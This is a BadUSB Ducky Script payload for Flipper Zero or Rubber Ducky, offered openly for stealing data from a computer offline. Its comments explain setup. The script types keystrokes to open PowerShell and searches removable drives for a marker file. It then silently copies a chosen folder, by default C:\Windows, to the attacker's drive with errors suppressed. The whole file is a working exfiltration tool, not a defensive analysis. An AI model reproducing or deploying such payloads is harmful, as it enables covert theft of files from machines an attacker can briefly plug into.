Zarcolio
67 lines
2.7 KiB
Plaintext
67 lines
2.7 KiB
Plaintext
REM _..._ .-'''-. .-'''-.
|
|
REM .-'_..._''. ' _ \ .---. ' _ \
|
|
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
|
|
REM || .-. .- / .' . | \ ' | ||__|. | \ '
|
|
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
|
|
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
|
|
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
|
|
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
|
|
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
|
|
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
|
|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
|
|
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
|
|
REM '..' |_________| `--' `"
|
|
|
|
REM Do you want BadUSB / Ducky Script to exfill data from a machine but not online?
|
|
REM This script tests all removable drive root directories for a certain file with a random file name.
|
|
REM IF this file is detected, this means this drive is the removable you're using to exfill data to.
|
|
REM How to use this script?
|
|
REM Copy this Ducky script to your Flipper Zero or Rubber Ducky, generate a file with a random file name
|
|
REM and change the value of $CopyFrom, $CopyTo and $FindMe below accordingly.
|
|
|
|
DELAY 1000
|
|
GUI r
|
|
DELAY 1000
|
|
ALTSTRING powershell
|
|
ENTER
|
|
DELAY 2000
|
|
ENTER
|
|
ALTSTRING $CopyFrom = "C:\Windows"
|
|
ENTER
|
|
ALTSTRING $CopyTo = "copy"
|
|
ENTER
|
|
ALTSTRING $FindMe = "gfhnubkw.txt"
|
|
ENTER
|
|
ALTSTRING $f = $false
|
|
ENTER
|
|
ALTSTRING Cls
|
|
ENTER
|
|
ALTSTRING while (-not $f) {
|
|
ENTER
|
|
ALTSTRING $d = Get-WmiObject -Class Win32_Volume | Where-Object { $_.DriveType -eq 2 }
|
|
ENTER
|
|
ALTSTRING foreach ($e in $d) {
|
|
ENTER
|
|
ALTSTRING $p = Join-Path -Path $e.Name -ChildPath $FindMe
|
|
ENTER
|
|
ALTSTRING if (Test-Path $p) {
|
|
ENTER
|
|
ALTSTRING $f = $true
|
|
ENTER
|
|
ALTSTRING Write-Host "Copying..."
|
|
ENTER
|
|
ALTSTRING $Destination = "$($e.Name)\$CopyTo"
|
|
ENTER
|
|
ALTSTRING Copy-Item -Path $CopyFrom -Destination $Destination -Recurse -ErrorAction SilentlyContinue ; Exit
|
|
ENTER
|
|
ALTSTRING }
|
|
ENTER
|
|
ALTSTRING break
|
|
ENTER
|
|
ALTSTRING }
|
|
ENTER
|
|
ALTSTRING }
|
|
ENTER
|
|
ALTSTRING Exit
|
|
ENTER
|